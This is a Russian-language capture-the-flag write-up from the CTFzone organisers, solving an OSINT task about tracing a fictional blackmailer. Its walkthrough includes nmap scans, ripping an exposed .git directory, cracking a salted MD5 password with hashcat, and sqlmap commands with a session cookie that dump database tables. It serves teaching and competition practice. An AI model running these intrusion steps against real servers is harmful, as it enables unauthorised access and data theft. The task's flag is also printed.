Друзья, настало время раскрыть последнюю тайну CTFzone. Мы готовы опубликовать райтап на одно из самых сложных заданий соревнований – OSINT на 1000 очков. Как и в случае с Reverse 1000, мы решили вынести последнее задание ветки в отдельный пост ввиду большого размера и сложности.
Решения на таски попроще мы публиковали ранее, и теперь пришло время финального аккорда. Мы постарались сделать наш заключительный райтап максимально подробным, поэтому статья получилась длинной и интересной. Все готовы? ;)
OSINT_1000: Polish businessman
A.U.R.O.R.A.: Lieutenant, it's time for another memoir. Are you ready? This part of Scott's diary is about Captain Picard and his brother.
Scott's memoirs. April 19, 2047.
"Is it just a joke or true blackmail?! Captain has just called me and said that his brother – very rich businessman Wilczek — has found a USB drive on his table this morning which contains very dangerous extortion and threats. He doesn't want anyone in the department to know what is happening as there is some dirt on this USB and the crook has more. He wants me to do the impossible and to find a blackmailer but it’s my only chance to come back to Earth".
Well, I assume Lieutenant Scott succeeded as you are on his place. But how did he manage to do it?.
Решение:
Пришло время последнего эпизода воспоминаний Скотта. На этот раз мы имеем дело с корпоративным шантажом. Богатому польскому бизнесмену была подброшена флешка, на которой содержится очень опасная для него информация. Наша задача — найти шантажиста. Но если раньше все было вполне реально, то на этот раз задача выглядит невыполнимой...
Нам был предоставлен образ флешки, в котором хранился odt-документ:
В документе всего две страницы, первая содержит письмо господину бизнесмену:
Вторая страница содержит часть переписки из почты этого бизнесмена и скан документа с пополнениями счета. Суммы, конечно, внушительные:
Чист данный человек или не совсем, судить не нам (а если и нам, то про себя). Наша задача — найти того, кто организовал шантаж. Ну что ж, приступим.
Все, что у нас есть — это образ с документом, в котором содержатся имя и название фирмы, а так же почта жертвы. По доменному имени даже можно найти какую-то информацию в сети. Но, как заметили участники, решавшие это задание: "Да сразу понятно, что это просто вода".
Поиск по имени тоже ничего примечательного нам не дает… Попробуем изучить документ, в частности его метаданные. Каждый хоть раз находил там что-то нужное.
К сожалению, в этот раз в метаданных документа нет никакой полезной информацией, поэтому попробуем изучить структуру документа. Мы знаем, что odt-файл, как и .doc(x), и .apk, и многие другие файлы, представляет собой обычный ZIP, но тем не менее имеет четкую структуру.
Распакуем этот файл, скопировав его с расширением .zip
:
Изучение структуры документа обычно начинают с файла meta.xml
, в котором содержатся общие сведения о документе. Кажется, тут что-то есть:
Мы находим новое имя: "kasperkowalkiewicz".
Отлично, есть зацепка! Продолжаем поиски, опираясь на нее. Следует заметить, что многие участники думали, что это и есть конец задания. Тут можно было вспомнить, что это самое сложное задание в ветке OSINT, и не останавливаться на достигнутом ;)
Где бы мы ни смотрели, поиск по имени ничего не дает. Единственное, в чем мы уверены — это в польском происхождении имени. Как говорилось в одной басне: "Иной перемудрит, стараясь найти решение какой-то проблемы, а оно, оказывается, лежит на поверхности". Попробуем начать сначала.
Рассмотрим имеющийся у нас образ флешки. Изучив его, мы найдем название, данное пользователем при каких-то условиях (отсылка на это и будет хинтом для пользователей во время соревнования):
В поиске аббревиатуры помогает "Википедия". Похоже, мы нашли дальнеший путь действий:
Далее проведем поиск по имени на "гите":
Есть пользователь с таким именем! Посмотрим, что у него на странице и в репозиториях:
Мы узнали никнейм этого пользователя и нашли один репозиторий, в котором ютится одинокий скрипт на bash'е. Изучив скрипт, мы понимаем, что это недописанный чекер сайта, который работает исключительно через TOR (согласно комментарию в начале скрипта). Внизу есть комментарий на польском, который просит разработчика дописать его как можно скорее. Самой примечательной является строка, которая получает статус-код доступности сайта. IP-адрес в ней представлен в hex-виде:
Попробуем узнать, какой IP-адрес у сервера, и посмотрим, чем он "светит" наружу:
root@localGhost-->~# nmap -Pn --open 0xB98FAD57
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:21 MSK
Nmap scan report for buono-restoran.ru (185.143.173.87)
Host is up (0.0077s latency).
Not shown: 995 closed ports, 4 filtered ports
PORT STATE SERVICE
8081/tcp open blackice-icecap
Мы видим, что hex преобразовался в читаемый IP-адрес. Этой информации нам недостаточно, смотрим дальше:
root@localGhost-->~# nmap -p- -Pn -A --open 185.143.173.87
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:23 MSK
Nmap scan report for buono-restoran.ru (185.143.173.87)
Host is up (0.012s latency).
Not shown: 65527 closed ports, 6 filtered ports
PORT STATE SERVICE VERSION
8081/tcp open http Apache httpd
| http-git:
| 185.143.173.87:8081/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: first commit
|_http-server-header: Apache
|_http-title: May be later...
9501/tcp open ssh OpenSSH 7.2p2 (protocol 2.0)
| ssh-hostkey:
| 2048 5c:b8:8b:49:5c:8f:0a:0d:ce:b4:27:ea:22:e6:42:c6 (RSA)
|_ 256 d8:2d:bc:d0:f4:76:f9:0b:fe:4e:a4:f4:93:95:90:c8 (ECDSA)
Device type: general purpose
Неплохо, на нестандартном порту висит Апач, плюс есть git-папка с какими-то исходниками. Будем разбираться. Переходим на сайт:
Сайт находится в разработке. Поиск по директориям дал следующие пути: admin
, 404
, .git
. Становится интересно. Попробуем посмотреть, что за исходники в гите. Для этого нам нужна утилита rip-git
из пакета dvcs-ripper
:
root@localGhost-->~/gear/dvcs-ripper# rip-git.pl -u http://185.143.173.87:8081/.git
[i] Using session name: REAqxQuB
Проверка каталогов объектов: 100% (256/256), готово.
Скорее всего, исходники у нас уже есть. Проверим содержимое выкачанных файлов:
root@localGhost-->~/gear/dvcs-ripper# ls -d */
404/ admin/
root@localGhost-->~/gear/dvcs-ripper# tree 404/ admin/
404/
+-- app.css
+-- fonts.css
L-- notfound.gif
admin/
+-- config.php
+-- functions.php
+-- index.php
+-- login.php
L-- style
+-- bootstrap.min.css
+-- bootstrap.min.js
+-- jquery.min.js
L-- style.css
Опа! В папке admin
есть интересные файлы, попробуем поискать в них подсказку. Файл login.php
содержит важную информацию:
Логин мы получили, но наш пароль пока в хешированном виде, да еще и с "солью". Логин формы на сайте нет, но из исходников мы понимаем, что логиниться можно посредством запроса. Попробуем побрутить пароль через hashcat
и начнем с простых словарей. Формат хеш-файла задаваемого hashcat'у будет в виде: "ХЕШ: СОЛЬ", md5($pass.$salt)
формат в hashcat
. Создаем файл, содержащий хеш с "солью", и запускаем брут:
root@localGhost-->~/tmp# echo "58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9" > salted.hsh
root@localGhost-->~/tmp# hashcat -m 10 -a 3 salted.hsh /tmp/10k_most_common.txt
...
58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9:qweqwe
Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: Mask (qweqwe) [6] (30.06%)
Hash.Target....: 58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I...
Hash.Type......: md5($pass.$salt)
Time.Started...: 0 secs
Speed.Dev.#1...: 0 H/s (0.00ms)
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1/1 (100.00%)
Rejected.......: 0/1 (0.00%)
А вот и словарный пароль: "qweqwe"
— удача снова на нашей стороне! Пробуем залогиниться через адресную строку, формат запроса простой:
Бинго! Мы попали в некую админстративную панель, название совпадает с упоминаниями на гитхабе: "ZNet"
. Однако пока все не совсем понятно, какие-то боты, страны:
Пройдемся по записям в этой таблице:
Перейдя по первой записи, мы видим путь в строке браузера: http://185.143.173.87:8081/admin/?bot_id=1053.
Параметр "id"
всегда наталкивает на мысль об SQL-инъекции ;)
Начитавшись в гугле по теме "advanced sql injection techniques", демонстрируем свое превосходство:
Ковырять руками я это, конечно же, не буду, поэтому натравим sqlmap
. Добавим куки в параметры и посмотрим, какие таблицы мы сможем получить:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dbs --batch
[*] information_schema
[*] web
Нам интересна вторая база — "web"
. Попробуем получить таблицы из базы:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --tables -D web --batch
Database: web
[2 tables]
+--------------+
| admin_access |
| bots |
+--------------+
В таблице "bots"
нет ничего полезного. Изучим ту, что имеет более примечательное название:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --columns -D web -T admin_access --batch
Database: web
Table: admin_access
[3 columns]
+------------+------+
| Column | Type |
+------------+------+
| auth_time | text |
| user_agent | text |
| user_ip | text |
+------------+------+
В таблице "user_agent"
среди множественного входа админа мы нашли 3 уникальных юзерагента, причем один из них явно юзерагент TOR-браузера:
Предположим, что пользователь заходил минимум с двух машин, ведь TOR-браузер может стоять на каждой из них (или даже с одной, т.к. подделать юзерагент не составляет труда. Он мог просто пользоваться двумя разными браузерами на одной машине). Нам необходимо получить информацию об IP-адресах, с которых выходил пользователь:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dump -D web -T admin_access -C user_ip --batch
[36 entries]
+-----------------+
| user_ip |
+-----------------+
| 104.233.95.49 |
| 128.199.218.14 |
| 158.58.170.130 |
| 162.247.72.202 |
| 162.247.73.74 |
| 173.255.229.8 |
| 176.10.99.202 |
| 176.126.252.12 |
| 176.126.252.12 |
| 185.100.86.199 |
| 185.72.244.24 |
| 188.68.237.55 |
| 193.15.16.4 |
| 195.154.164.200 |
| 197.231.221.211 |
| 198.23.161.144 |
| 216.17.99.183 |
| 216.230.148.77 |
| 31.220.45.142 |
| 37.187.239.8 |
| 46.183.221.231 |
| 5.196.73.88 |
| 62.133.130.105 |
| 62.133.130.105 |
| 64.137.237.81 |
| 77.247.181.162 |
| 77.254.3.32 |
| 79.124.59.194 |
| 87.118.92.43 |
| 88.167.163.142 |
| 91.134.232.61 |
| 91.240.65.16 |
| 91.240.65.16 |
| 95.211.205.151 |
| 95.211.226.242 |
| 96.35.130.132 |
+-----------------+
Интересно, что заходов было очень много — 33 записи являются уникальными. Очевидно, причина повторения адресов кроется в том, что пользователь заходил на сайт повторно с разницей в несколько минут. Это наводит на определенные мысли. Берем первый по списку IP-адрес и пробуем поискать о нем информацию:
Как мы видим, это TOR-нода. Попробуем рандомный IP c другим юзерагентом и получим примерно тоже самое:
Досадно… Выходит, что трафик Каспера Ковалькевича всегда "торифицирован", и он нам ничего не даст. Тем не менее, на всякий случай проверим все IP-адреса.
Всем известно, что TOR ежеденевно публикует список своих выходных узлов. Список доступен по этому адресу. Он обновляется каждый день, так как одни ноды исчезают, а другие добавляются. Сформируем два файла — в один поместим список выходных нод, а во второй полученную нами базу адресов. Далее попытаемся найти адреса, которых нет в списке TOR'а, если таковые имеются. Можно попробовать написать скрипт для получения разницы, но намного быстрее будет воспользоваться bash'ем. Сначала посчитаем количество строк в двух файлах, а затем сравним:
root@localGhost-->/tmp/ips# wc -l *
36 kasper.lst
1166 tor.lst
1202 итого
root@localGhost-->/tmp/ips# comm -13 <(sort tor.lst) <(sort kasper.lst)
162.247.73.74
188.68.237.55
195.154.164.200
216.17.99.183
5.196.73.88
62.133.130.105
91.240.65.16
95.211.226.242
Разница совсем небольшая, можно проверить руками. Ищем в гугле: "наш_IP tor". Из всех IP-адресов только 188.68.237.55
никакого отношения к TOR'у не имеет:
Посмотрим информацию об этом IP-адресе:
Похоже, этот адрес принадлежит тому самому Касперу Ковалькевичу. Посмотрим, что на нем есть. На машине висит Апач, главная страница выдает какую-то странную фразу:
Ищем информацию по строкам: "i hereby claim" и находим отсылку на keybase.io. Keybase.io — это всеобщий репозиторий открытых ключей, где все ключи соответствуют уникальным именам пользователей. Попробуем отыскать ключ нашего пользователя. Попробуем погуглить по именам, которые мы ранее находили на данном сервере, но это нам ничего не дает. Почитав поподробнее про хранение ключей, мы выясняем, что ключ может лежать в папке ".well-known".
Проверяем и этот вариант:
Ура! Здесь есть какой-то файл, ознакомимся с его содержимым:
Есть и другой, более простой способ нахождения этой папки. Можно было просто воспользоваться утилитой Dirsearch
, в арсенале которой есть добротный словарь, в котором, в отличие от словарей аналогичных утилит, есть упоминание этой папки:
Переходим на страницу пользователя по ссылке https://keybase.io/prepro
:
Изучаем страницу пользователя и видим на ней сокращение от знакомого нам имени. Читаем юзеринфо, из которого мы узнаем, где и кем работает наш пользователь. Теперь у нас есть информация о шантажисте, которую мы позже передадим заинтересованным людям.
Но это не все! Нас здесь ждет еще кое-что интересное — наш флаг: "H0w_DiD_U_FinD_m3"
. Вот теперь это действительно конец задания ;)
Ответ: ctfzone{H0w_DiD_U_FinD_m3}
P.S.: задание включало в себя цепочку разного рода логичных действий, но без подсказок оно не решалось. Идея с именем в документе пришла после прочтения вот этой статьи, где говорится о том, что при определенных условиях настроек и путей сохранения такое случается. Подсказка с названием образа флешки была необходима, т.к. без нее невозможно было понять дальнейший ход действий. Как у нас получилось дойти до конечной точки? Как мы помним, пользователь работал через TOR и, по идее, никаких следов не оставил. Однако один раз он все же забыл это сделать, но на практике такое редко случается. Данное задание решила только одна команда, и мы согласны с тем, что задание получилось действительно непростым для индивидуального CTF.
Друзья, вот и все! Все райтапы опубликованы, все тайны CTFzone раскрыты, но это только начало. Мероприятие в рамках ZERONIGHTS 2016 – это первый шаг компании BI.ZONE в области организации CTF, и впереди вас ждут еще более масштабные и захватывающие соревнования. Мы ждем ваши предложения, комментарии и вопросы в нашем чате в телеграме и в комментариях к постам. Оставайтесь с нами, и мы обещаем, дальше будет только круче ;)
Всем удачи и до новых встреч!